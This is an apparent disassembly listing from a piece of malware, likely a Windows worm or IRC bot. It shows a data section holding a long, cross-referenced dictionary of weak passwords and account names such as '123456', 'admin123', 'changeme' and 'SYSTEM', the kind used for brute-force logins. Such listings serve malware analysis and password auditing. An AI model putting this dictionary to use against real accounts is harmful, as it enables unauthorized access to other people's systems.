aCleavage	db 'cleavage',0         ; DATA XREF: .nsp0:00425878o
		align 10h
aClaymore	db 'claymore',0         ; DATA XREF: .nsp0:00425874o
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: .nsp0:00425870o
aClassic	db 'classic',0          ; DATA XREF: .nsp0:0042586Co
aClasses	db 'classes',0          ; DATA XREF: .nsp0:00425868o
aClass		db 'class',0            ; DATA XREF: .nsp0:00425864o
		align 4
aCindy		db 'cindy',0            ; DATA XREF: .nsp0:00425860o
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: .nsp0:0042585Co
		align 10h
aCigar		db 'cigar',0            ; DATA XREF: .nsp0:00425858o
		align 4
aChristy	db 'christy',0          ; DATA XREF: .nsp0:00425854o
aChristin	db 'christin',0         ; DATA XREF: .nsp0:00425850o
		align 4
aChris		db 'chris',0            ; DATA XREF: .nsp0:0042584Co
		align 4
aChip		db 'chip',0             ; DATA XREF: .nsp0:00425848o
		align 4
aChester	db 'chester',0          ; DATA XREF: .nsp0:00425844o
aChess		db 'chess',0            ; DATA XREF: .nsp0:00425840o
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: .nsp0:0042583Co
		align 4
aChem		db 'chem',0             ; DATA XREF: .nsp0:00425838o
		align 10h
aChat		db 'chat',0             ; DATA XREF: .nsp0:00425834o
		align 4
aCharon		db 'charon',0           ; DATA XREF: .nsp0:00425830o
		align 10h
aCharming	db 'charming',0         ; DATA XREF: .nsp0:0042582Co
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: .nsp0:00425828o
aCharles	db 'charles',0          ; DATA XREF: .nsp0:00425824o
aCharity	db 'charity',0          ; DATA XREF: .nsp0:00425820o
aChange		db 'change',0           ; DATA XREF: .nsp0:0042581Co
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: .nsp0:00425818o
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: .nsp0:00425814o
aCeltic		db 'celtic',0           ; DATA XREF: .nsp0:00425810o
		align 4
aCelt		db 'celt',0             ; DATA XREF: .nsp0:0042580Co
		align 10h
aCecily		db 'cecily',0           ; DATA XREF: .nsp0:00425808o
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: .nsp0:00425804o
		align 10h
aCave		db 'cave',0             ; DATA XREF: .nsp0:00425800o
		align 4
aCathy		db 'cathy',0            ; DATA XREF: .nsp0:004257FCo
		align 10h
aCatholic	db 'catholic',0         ; DATA XREF: .nsp0:004257F8o
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: .nsp0:004257F4o
		align 4
aCastle		db 'castle',0           ; DATA XREF: .nsp0:004257F0o
		align 10h
aCash		db 'cash',0             ; DATA XREF: .nsp0:004257ECo
		align 4
aCascades	db 'cascades',0         ; DATA XREF: .nsp0:004257E8o
		align 4
aCarson		db 'carson',0           ; DATA XREF: .nsp0:004257E4o
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: .nsp0:004257E0o
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: .nsp0:004257DCo
		align 10h
aCarolina	db 'carolina',0         ; DATA XREF: .nsp0:004257D8o
		align 4
aCarole		db 'carole',0           ; DATA XREF: .nsp0:004257D4o
		align 4
aCarol		db 'carol',0            ; DATA XREF: .nsp0:004257D0o
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: .nsp0:004257CCo
		align 4
aCarla		db 'carla',0            ; DATA XREF: .nsp0:004257C8o
		align 4
aCaren		db 'caren',0            ; DATA XREF: .nsp0:004257C4o
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: .nsp0:004257C0o
		align 10h
aCard		db 'card',0             ; DATA XREF: .nsp0:004257BCo
		align 4
aCapture	db 'capture',0          ; DATA XREF: .nsp0:004257B8o
aCaptain	db 'captain',0          ; DATA XREF: .nsp0:004257B4o
aCantor		db 'cantor',0           ; DATA XREF: .nsp0:004257B0o
		align 10h
aCandy		db 'candy',0            ; DATA XREF: .nsp0:004257ACo
		align 4
aCandi		db 'candi',0            ; DATA XREF: .nsp0:004257A8o
		align 10h
aCamping	db 'camping',0          ; DATA XREF: .nsp0:004257A4o
aCampanil	db 'campanil',0         ; DATA XREF: .nsp0:004257A0o
		align 4
aCamille	db 'camille',0          ; DATA XREF: .nsp0:0042579Co
aCaliforn	db 'californ',0         ; DATA XREF: .nsp0:00425798o
		align 4
aButthead	db 'butthead',0         ; DATA XREF: .nsp0:00425794o
		align 4
aButt		db 'butt',0             ; DATA XREF: .nsp0:00425790o
		align 4
aButch		db 'butch',0            ; DATA XREF: .nsp0:0042578Co
		align 4
aBurn		db 'burn',0             ; DATA XREF: .nsp0:00425788o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: .nsp0:00425784o
aBung		db 'bung',0             ; DATA XREF: .nsp0:00425780o
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: .nsp0:0042577Co
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: .nsp0:00425778o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: .nsp0:00425774o
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: .nsp0:00425770o
		align 4
aBrute		db 'brute',0            ; DATA XREF: .nsp0:0042576Co
		align 10h
aBrunette	db 'brunette',0         ; DATA XREF: .nsp0:00425768o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: .nsp0:00425764o
aBroadway	db 'broadway',0         ; DATA XREF: .nsp0:00425760o
		align 10h
aBridget	db 'bridget',0          ; DATA XREF: .nsp0:0042575Co
aBrian		db 'brian',0            ; DATA XREF: .nsp0:00425758o
		align 10h
aBrenda		db 'brenda',0           ; DATA XREF: .nsp0:00425754o
		align 4
aBreast		db 'breast',0           ; DATA XREF: .nsp0:00425750o
		align 10h
aBreak		db 'break',0            ; DATA XREF: .nsp0:0042574Co
		align 4
aBravo		db 'bravo',0            ; DATA XREF: .nsp0:00425748o
		align 10h
aBrandy		db 'brandy',0           ; DATA XREF: .nsp0:00425744o
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: .nsp0:00425740o
		align 10h
aBradley	db 'bradley',0          ; DATA XREF: .nsp0:0042573Co
aBoyscout	db 'boyscout',0         ; DATA XREF: .nsp0:00425738o
		align 4
aBorn		db 'born',0             ; DATA XREF: .nsp0:00425734o
		align 4
aBook		db 'book',0             ; DATA XREF: .nsp0:00425730o
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: .nsp0:0042572Co
		align 4
aBoob		db 'boob',0             ; DATA XREF: .nsp0:00425728o
		align 4
aBoner		db 'boner',0            ; DATA XREF: .nsp0:00425724o
		align 4
aBomb		db 'bomb',0             ; DATA XREF: .nsp0:00425720o
		align 4
aBoard		db 'board',0            ; DATA XREF: .nsp0:0042571Co
		align 4
aBlues		db 'blues',0            ; DATA XREF: .nsp0:00425718o
		align 4
aBlue		db 'blue',0             ; DATA XREF: .nsp0:00425714o
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: .nsp0:00425710o
aBlow		db 'blow',0             ; DATA XREF: .nsp0:0042570Co
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: .nsp0:00425708o
		align 4
aBlood		db 'blood',0            ; DATA XREF: .nsp0:00425704o
		align 10h
aBlondie	db 'blondie',0          ; DATA XREF: .nsp0:00425700o
aBlonde		db 'blonde',0           ; DATA XREF: .nsp0:004256FCo
		align 10h
aBlack		db 'black',0            ; DATA XREF: .nsp0:004256F8o
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: .nsp0:004256F4o
		align 10h
aBitmap		db 'bitmap',0           ; DATA XREF: .nsp0:004256F0o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .nsp0:004256ECo
		align 10h
aBishop		db 'bishop',0           ; DATA XREF: .nsp0:004256E8o
		align 4
aBird		db 'bird',0             ; DATA XREF: .nsp0:004256E4o
		align 10h
aBios		db 'bios',0             ; DATA XREF: .nsp0:004256E0o
		align 4
aBinary		db 'binary',0           ; DATA XREF: .nsp0:004256DCo
		align 10h
aBill		db 'bill',0             ; DATA XREF: .nsp0:004256D8o
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: .nsp0:004256D4o
aBicamera	db 'bicamera',0         ; DATA XREF: .nsp0:004256D0o
		align 4
aBible		db 'bible',0            ; DATA XREF: .nsp0:004256CCo
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: .nsp0:004256C8o
aBetty		db 'betty',0            ; DATA XREF: .nsp0:004256C4o
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: .nsp0:004256C0o
		align 4
aBeth		db 'beth',0             ; DATA XREF: .nsp0:004256BCo
		align 4
aBeta		db 'beta',0             ; DATA XREF: .nsp0:004256B8o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: .nsp0:004256B4o
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: .nsp0:004256B0o
		align 10h
aBerlin		db 'berlin',0           ; DATA XREF: .nsp0:004256ACo
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: .nsp0:004256A8o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: .nsp0:004256A4o
aBenz		db 'benz',0             ; DATA XREF: .nsp0:004256A0o
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: .nsp0:0042569Co
aBell		db 'bell',0             ; DATA XREF: .nsp0:00425698o
		align 4
aBehead		db 'behead',0           ; DATA XREF: .nsp0:00425694o
		align 4
aBegin		db 'begin',0            ; DATA XREF: .nsp0:00425690o
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: .nsp0:0042568Co
		align 10h
aBecky		db 'becky',0            ; DATA XREF: .nsp0:00425688o
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: .nsp0:00425684o
		align 10h
aBeauty		db 'beauty',0           ; DATA XREF: .nsp0:00425680o
		align 4
aBeater		db 'beater',0           ; DATA XREF: .nsp0:0042567Co
		align 10h
aBeast		db 'beast',0            ; DATA XREF: .nsp0:00425678o
		align 4
aBear		db 'bear',0             ; DATA XREF: .nsp0:00425674o
		align 10h
aBeammeup	db 'beammeup',0         ; DATA XREF: .nsp0:00425670o
		align 4
aBeach		db 'beach',0            ; DATA XREF: .nsp0:0042566Co
		align 4
aBatman		db 'batman',0           ; DATA XREF: .nsp0:00425668o
		align 4
aBatch		db 'batch',0            ; DATA XREF: .nsp0:00425664o
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: .nsp0:00425660o
aBass		db 'bass',0             ; DATA XREF: .nsp0:0042565Co
		align 4
aBasic		db 'basic',0            ; DATA XREF: .nsp0:00425658o
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: .nsp0:00425654o
		align 4
aBartman	db 'bartman',0          ; DATA XREF: .nsp0:00425650o
aBart		db 'bart',0             ; DATA XREF: .nsp0:0042564Co
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: .nsp0:00425648o
		align 4
aBarf		db 'barf',0             ; DATA XREF: .nsp0:00425644o
		align 4
aBare		db 'bare',0             ; DATA XREF: .nsp0:00425640o
		align 4
aBarber		db 'barber',0           ; DATA XREF: .nsp0:0042563Co
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: .nsp0:00425638o
aBanks		db 'banks',0            ; DATA XREF: .nsp0:00425634o
		align 4
aBank		db 'bank',0             ; DATA XREF: .nsp0:00425630o
		align 4
aBandit		db 'bandit',0           ; DATA XREF: .nsp0:0042562Co
		align 4
aBananas	db 'bananas',0          ; DATA XREF: .nsp0:00425628o
aBanana		db 'banana',0           ; DATA XREF: .nsp0:00425624o
		align 4
aBall		db 'ball',0             ; DATA XREF: .nsp0:00425620o
		align 4
aBailey		db 'bailey',0           ; DATA XREF: .nsp0:0042561Co
		align 4
aBadass		db 'badass',0           ; DATA XREF: .nsp0:00425618o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: .nsp0:00425614o
		align 10h
aBacchus	db 'bacchus',0          ; DATA XREF: .nsp0:00425610o
aBaby		db 'baby',0             ; DATA XREF: .nsp0:0042560Co
		align 10h
aBabe		db 'babe',0             ; DATA XREF: .nsp0:00425608o
		align 4
aAzure		db 'azure',0            ; DATA XREF: .nsp0:00425604o
		align 10h
aAztecs		db 'aztecs',0           ; DATA XREF: .nsp0:00425600o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: .nsp0:004255FCo
		align 4
aAttack		db 'attack',0           ; DATA XREF: .nsp0:004255F8o
		align 4
aAtom		db 'atom',0             ; DATA XREF: .nsp0:004255F4o
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: .nsp0:004255F0o
		align 10h
aAthena		db 'athena',0           ; DATA XREF: .nsp0:004255ECo
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: .nsp0:004255E8o
aAsian		db 'asian',0            ; DATA XREF: .nsp0:004255E4o
		align 4
aArtist		db 'artist',0           ; DATA XREF: .nsp0:004255E0o
		align 10h
aArthur		db 'arthur',0           ; DATA XREF: .nsp0:004255DCo
		align 4
aArrow		db 'arrow',0            ; DATA XREF: .nsp0:004255D8o
		align 10h
aArmy		db 'army',0             ; DATA XREF: .nsp0:004255D4o
		align 4
aArlene		db 'arlene',0           ; DATA XREF: .nsp0:004255D0o
		align 10h
aAriadne	db 'ariadne',0          ; DATA XREF: .nsp0:004255CCo
aAria		db 'aria',0             ; DATA XREF: .nsp0:004255C8o
		align 10h
aApril		db 'april',0            ; DATA XREF: .nsp0:004255C4o
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: .nsp0:004255C0o
		align 4
aAnything	db 'anything',0         ; DATA XREF: .nsp0:004255BCo
		align 10h
aAnvils		db 'anvils',0           ; DATA XREF: .nsp0:004255B8o
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: .nsp0:004255B4o
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: .nsp0:004255B0o
aAnswer		db 'answer',0           ; DATA XREF: .nsp0:004255ACo
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: .nsp0:004255A8o
		align 10h
aAnon		db 'anon',0             ; DATA XREF: .nsp0:004255A4o
		align 4
aAnnette	db 'annette',0          ; DATA XREF: .nsp0:004255A0o
aAnne		db 'anne',0             ; DATA XREF: .nsp0:0042559Co
		align 4
aAnna		db 'anna',0             ; DATA XREF: .nsp0:00425598o
		align 10h
aAnita		db 'anita',0            ; DATA XREF: .nsp0:00425594o
		align 4
aAnimals	db 'animals',0          ; DATA XREF: .nsp0:00425590o
aAnimal		db 'animal',0           ; DATA XREF: .nsp0:0042558Co
		align 4
aAngie		db 'angie',0            ; DATA XREF: .nsp0:00425588o
		align 10h
aAngerine	db 'angerine',0         ; DATA XREF: .nsp0:00425584o
		align 4
aAngela		db 'angela',0           ; DATA XREF: .nsp0:00425580o
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: .nsp0:0042557Co
		align 4
aAndy		db 'andy',0             ; DATA XREF: .nsp0:00425578o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: .nsp0:00425574o
		align 10h
aAndroid	db 'android',0          ; DATA XREF: .nsp0:00425570o
aAndrea		db 'andrea',0           ; DATA XREF: .nsp0:0042556Co
		align 10h
aAnchor		db 'anchor',0           ; DATA XREF: .nsp0:00425568o
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: .nsp0:00425564o
aAnarchis	db 'anarchis',0         ; DATA XREF: .nsp0:00425560o
		align 4
aAnalog		db 'analog',0           ; DATA XREF: .nsp0:0042555Co
		align 4
aAnal		db 'anal',0             ; DATA XREF: .nsp0:00425558o
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: .nsp0:00425554o
		align 4
aAmerica	db 'america',0          ; DATA XREF: .nsp0:00425550o
aAmber		db 'amber',0            ; DATA XREF: .nsp0:0042554Co
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: .nsp0:00425548o
		align 10h
aAmadeus	db 'amadeus',0          ; DATA XREF: .nsp0:00425544o
aAlphabet	db 'alphabet',0         ; DATA XREF: .nsp0:00425540o
		align 4
aAllow		db 'allow',0            ; DATA XREF: .nsp0:0042553Co
		align 4
aAllison	db 'allison',0          ; DATA XREF: .nsp0:00425538o
aAlison		db 'alison',0           ; DATA XREF: .nsp0:00425534o
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: .nsp0:00425530o
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: .nsp0:0042552Co
		align 4
aAlice		db 'alice',0            ; DATA XREF: .nsp0:00425528o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401AC7+13BCo
					; .nsp0:00425524o
aAlias		db 'alias',0            ; DATA XREF: .nsp0:00425520o
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: .nsp0:0042551Co
aAlexande	db 'alexande',0         ; DATA XREF: .nsp0:00425518o
		align 4
aAlex		db 'alex',0             ; DATA XREF: .nsp0:00425514o
		align 10h
aAlert		db 'alert',0            ; DATA XREF: .nsp0:00425510o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: .nsp0:0042550Co
		align 10h
aAlbatros	db 'albatros',0         ; DATA XREF: .nsp0:00425508o
		align 4
aAlbany		db 'albany',0           ; DATA XREF: .nsp0:00425504o
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: .nsp0:00425500o
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: .nsp0:004254FCo
		align 4
aAids		db 'aids',0             ; DATA XREF: .nsp0:004254F8o
		align 10h
aAerobics	db 'aerobics',0         ; DATA XREF: .nsp0:004254F4o
		align 4
aAdult		db 'adult',0            ; DATA XREF: .nsp0:004254F0o
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: .nsp0:004254ECo
		align 10h
aAdrian		db 'adrian',0           ; DATA XREF: .nsp0:004254E8o
		align 4
aAdam		db 'adam',0             ; DATA XREF: .nsp0:004254E4o
		align 10h
aAction		db 'action',0           ; DATA XREF: sub_401AC7+3FE9o
					; .nsp0:004254E0o
		align 4
aAccount	db 'account',0          ; DATA XREF: .nsp0:004254DCo
aAccept		db 'accept',0           ; DATA XREF: sub_408CF8+5F1o
					; .nsp0:004254D8o
		align 4
aAcademic	db 'academic',0         ; DATA XREF: .nsp0:004254D4o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: .nsp0:004254D0o
		align 10h
a000000		db '000000',0           ; DATA XREF: .nsp0:004254CCo
					; .nsp0:00426EE4o
		align 4
a00000		db '00000',0            ; DATA XREF: .nsp0:004254C8o
					; .nsp0:00426EE0o
		align 10h
a0000		db '0000',0             ; DATA XREF: .nsp0:004254C4o
					; .nsp0:00426EDCo
		align 4
a000		db '000',0              ; DATA XREF: .nsp0:004254C0o
					; .nsp0:00426ED8o
aTesting	db 'testing',0          ; DATA XREF: .nsp0:004254BCo
aDeath		db 'death',0            ; DATA XREF: .nsp0:004254B8o
		align 4
a00		db '00',0               ; DATA XREF: .nsp0:004254B4o
					; .nsp0:00426ED4o
		align 10h
a0_0:					; DATA XREF: sub_40BBDB+2CAo
					; .nsp0:004254B0o ...
		unicode	0, <0>,0
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: .nsp0:004254ACo
					; .nsp0:00427324o
		align 10h
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: .nsp0:004254A8o
					; .nsp0:00427320o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: .nsp0:004254A4o
					; .nsp0:0042731Co
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: .nsp0:004254A0o
					; .nsp0:00427318o
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: .nsp0:0042549Co
					; .nsp0:00427314o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: .nsp0:00425498o
					; .nsp0:00427310o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: .nsp0:00425494o
					; .nsp0:0042730Co
aXx		db 'xx',0               ; DATA XREF: .nsp0:00425490o
					; .nsp0:00427308o
		align 4
asc_42BB94:				; DATA XREF: .nsp0:0042548Co
					; .nsp0:00427304o ...
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: .nsp0:00425488o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: .nsp0:00425484o
		align 10h
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: .nsp0:00425480o
		align 10h
aMirc		db 'mirc',0             ; DATA XREF: sub_401AC7+39F7o
					; .nsp0:0042547Co
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: .nsp0:00425478o
		align 10h
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: .nsp0:00425474o
		align 10h
aScript		db 'script',0           ; DATA XREF: .nsp0:00425470o
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: .nsp0:0042546Co
		align 10h
aHacker		db 'hacker',0           ; DATA XREF: .nsp0:00425468o
		align 4
aL337		db 'l337',0             ; DATA XREF: .nsp0:00425464o
		align 10h
aL33t		db 'l33t',0             ; DATA XREF: .nsp0:00425460o
		align 4
aLeet		db 'leet',0             ; DATA XREF: .nsp0:0042545Co
		align 10h
aKiller		db 'killer',0           ; DATA XREF: .nsp0:00425458o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: .nsp0:00425454o
					; .nsp0:00426F40o
		align 10h
aW00t		db 'w00t',0             ; DATA XREF: .nsp0:00425450o
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: .nsp0:0042544Co
		align 10h
aSpaceman	db 'spaceman',0         ; DATA XREF: .nsp0:00425448o
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: .nsp0:00425444o
aSatanik	db 'satanik',0          ; DATA XREF: .nsp0:00425440o
aSatan		db 'satan',0            ; DATA XREF: .nsp0:0042543Co
		align 4
aGobo		db 'gobo',0             ; DATA XREF: .nsp0:00425438o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: .nsp0:00425434o
aMatt		db 'Matt',0             ; DATA XREF: .nsp0:00425430o
		align 4
aMat		db 'Mat',0              ; DATA XREF: .nsp0:0042542Co
aPw		db 'pw',0               ; DATA XREF: .nsp0:00425428o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: .nsp0:00425424o
		align 10h
aMypass		db 'mypass',0           ; DATA XREF: .nsp0:00425420o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: .nsp0:0042541Co
		align 10h
aAdmin123	db 'admin123',0         ; DATA XREF: .nsp0:00425418o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: .nsp0:00425414o
aMypc		db 'mypc',0             ; DATA XREF: .nsp0:00425410o
		align 4
aLove		db 'love',0             ; DATA XREF: .nsp0:0042540Co
		align 4
aPwd		db 'pwd',0              ; DATA XREF: .nsp0:00425408o
aLogin		db 'login',0            ; DATA XREF: sub_401AC7+6D4o
					; .nsp0:00425404o
		align 10h
aHome		db 'home',0             ; DATA XREF: .nsp0:00425400o
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: .nsp0:004253FCo
					; .nsp0:00427344o
		align 10h
aYxcv		db 'yxcv',0             ; DATA XREF: .nsp0:004253F8o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: .nsp0:004253F4o
					; .nsp0:004272B0o
		align 10h
aSecret		db 'secret',0           ; DATA XREF: .nsp0:004253F0o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: .nsp0:004253ECo
					; .nsp0:0042735Co
		align 10h
aPc		db 'pc',0               ; DATA XREF: .nsp0:004253E8o
		align 4
aWin		db 'win',0              ; DATA XREF: .nsp0:004253E4o
aTest123	db 'test123',0          ; DATA XREF: .nsp0:004253E0o
aAbc		db 'abc',0              ; DATA XREF: .nsp0:004253DCo
aAaa		db 'aaa',0              ; DATA XREF: .nsp0:004253D8o
					; .nsp0:00427284o
aA_2:					; DATA XREF: sub_401AC7+4000o
					; .nsp0:004253D4o ...
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: .nsp0:004253D0o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: .nsp0:004253CCo
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: .nsp0:004253C8o
aIrule		db 'irule',0            ; DATA XREF: .nsp0:004253C4o
		align 4
aOwned		db 'owned',0            ; DATA XREF: .nsp0:004253C0o
		align 4
a0wned		db '0wned',0            ; DATA XREF: .nsp0:004253BCo
					; .nsp0:00426F44o
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: .nsp0:004253B8o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: .nsp0:004253B4o
		align 4
aDevil		db 'devil',0            ; DATA XREF: .nsp0:004253B0o
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: .nsp0:004253ACo
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: .nsp0:004253A8o
		align 4
aGod		db 'god',0              ; DATA XREF: .nsp0:004253A4o
aSex_0		db 'sex',0              ; DATA XREF: .nsp0:004253A0o
					; .nsp0:off_438C90o
aPat		db 'pat',0              ; DATA XREF: .nsp0:0042539Co
aPatrick	db 'patrick',0          ; DATA XREF: .nsp0:00425398o
aAlpha		db 'alpha',0            ; DATA XREF: .nsp0:00425394o
		align 4
a007		db '007',0              ; DATA XREF: .nsp0:00425390o
					; .nsp0:00426F30o
a123abc		db '123abc',0           ; DATA XREF: .nsp0:0042538Co
					; .nsp0:00427140o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: .nsp0:00425388o
					; .nsp0:0042714Co
		align 10h
a123123		db '123123',0           ; DATA XREF: .nsp0:00425384o
					; .nsp0:004270ECo
		align 4
a121212		db '121212',0           ; DATA XREF: .nsp0:00425380o
					; .nsp0:004270E4o
		align 10h
a111111		db '111111',0           ; DATA XREF: .nsp0:0042537Co
					; .nsp0:00426F5Co
		align 4
a110		db '110',0              ; DATA XREF: .nsp0:00425378o
					; .nsp0:004270B0o
a2600		db '2600',0             ; DATA XREF: .nsp0:00425374o
					; .nsp0:00427238o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_417368+BAo
					; .nsp0:00425370o ...
		align 4
a2002		db '2002',0             ; DATA XREF: .nsp0:0042536Co
					; .nsp0:00427224o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: .nsp0:00425368o
		align 4
aEnable		db 'enable',0           ; DATA XREF: .nsp0:00425364o
		align 10h
aGodblessyou	db 'godblessyou',0      ; DATA XREF: .nsp0:00425360o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: .nsp0:0042535Co
a123asd		db '123asd',0           ; DATA XREF: .nsp0:00425358o
					; .nsp0:00427144o
		align 10h
aSuper		db 'super',0            ; DATA XREF: .nsp0:00425354o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: .nsp0:00425350o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: .nsp0:00425348o
					; .nsp0:00427148o
		align 4
aSybase		db 'sybase',0           ; DATA XREF: .nsp0:00425344o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: .nsp0:0042533Co
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: .nsp0:00425338o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .nsp0:00425330o
		align 4
aPass_0		db 'pass',0             ; DATA XREF: .nsp0:0042532Co
		align 4
a88888888	db '88888888',0         ; DATA XREF: .nsp0:00425328o
					; .nsp0:0042707Co
		align 10h
a11111111	db '11111111',0         ; DATA XREF: .nsp0:00425324o
					; .nsp0:00426F64o
		align 4
a111		db '111',0              ; DATA XREF: .nsp0:00425320o
					; .nsp0:00426F50o
a54321		db '54321',0            ; DATA XREF: .nsp0:0042531Co
					; .nsp0:00427244o
		align 4
a654321		db '654321',0           ; DATA XREF: .nsp0:00425318o
					; .nsp0:00427248o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: .nsp0:00425314o
					; .nsp0:00427104o
		align 4
a12345678	db '12345678',0         ; DATA XREF: .nsp0:00425310o
					; .nsp0:00427100o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .nsp0:0042530Co
					; .nsp0:004270FCo
a123456		db '123456',0           ; DATA XREF: .nsp0:00425308o
					; .nsp0:004270F8o
		align 4
a12345		db '12345',0            ; DATA XREF: .nsp0:00425304o
					; .nsp0:004270F4o
		align 10h
a1234		db '1234',0             ; DATA XREF: .nsp0:00425300o
					; .nsp0:004270F0o
		align 4
a123		db '123',0              ; DATA XREF: .nsp0:004252FCo
					; .nsp0:004270E8o
a12		db '12',0               ; DATA XREF: .nsp0:004252F8o
					; .nsp0:004270DCo
		align 10h
a1_0:					; DATA XREF: .nsp0:004252F4o
					; .nsp0:00426F48o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: .nsp0:004252F0o
aChangeme_0	db 'Changeme',0         ; DATA XREF: .nsp0:004252ECo
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .nsp0:004252E8o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .nsp0:004252E4o
		align 4
aUnix		db 'unix',0             ; DATA XREF: .nsp0:004252E0o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: .nsp0:004252DCo
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: .nsp0:004252D8o
		align 4
aServer_2	db 'SERVER',0           ; DATA XREF: .nsp0:004252D4o
					; .nsp0:00427694o
		align 4
aSystem_0	db 'SYSTEM',0           ; DATA XREF: .nsp0:004252D0o
					; .nsp0:004272E4o ...
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: .nsp0:004252CCo
					; .nsp0:0042768Co
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: .nsp0:004252C4o
					; .nsp0:00427684o
		align 4
aTest		db 'TEST',0             ; DATA XREF: .nsp0:004252C0o
					; .nsp0:00427680o
		align 4
aEdu		db 'edu',0              ; DATA XREF: .nsp0:004252BCo
					; .nsp0:0042767Co
aOwner_1	db 'Owner',0            ; DATA XREF: .nsp0:004252B8o
